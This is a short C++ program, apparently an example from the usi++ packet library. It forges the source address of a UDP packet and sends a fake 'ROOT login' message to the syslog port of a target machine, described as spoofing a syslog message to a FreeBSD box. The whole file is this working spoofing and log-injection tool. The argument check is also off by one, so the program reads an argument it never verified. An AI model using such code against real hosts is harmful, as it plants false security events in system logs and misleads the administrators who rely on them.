#include <iostream.h>
#include <usi++/usi++.h>
// spoof a syslog message to a FreeBSD box.
int main(int argc, char **argv)
{
if (argc < 2) {
cout<<argv[0]<<" [src] [dst]\n";
exit(1);
}
UDP udp(argv[2]);
udp.set_srcport(11);
udp.set_dstport(514); // syslogd
udp.set_src(argv[1]);
udp.sendpack("login: ROOT login (root) ON ttyv666\n");
return 0;
}
written by Dimitri van Heesch, © 1997-1999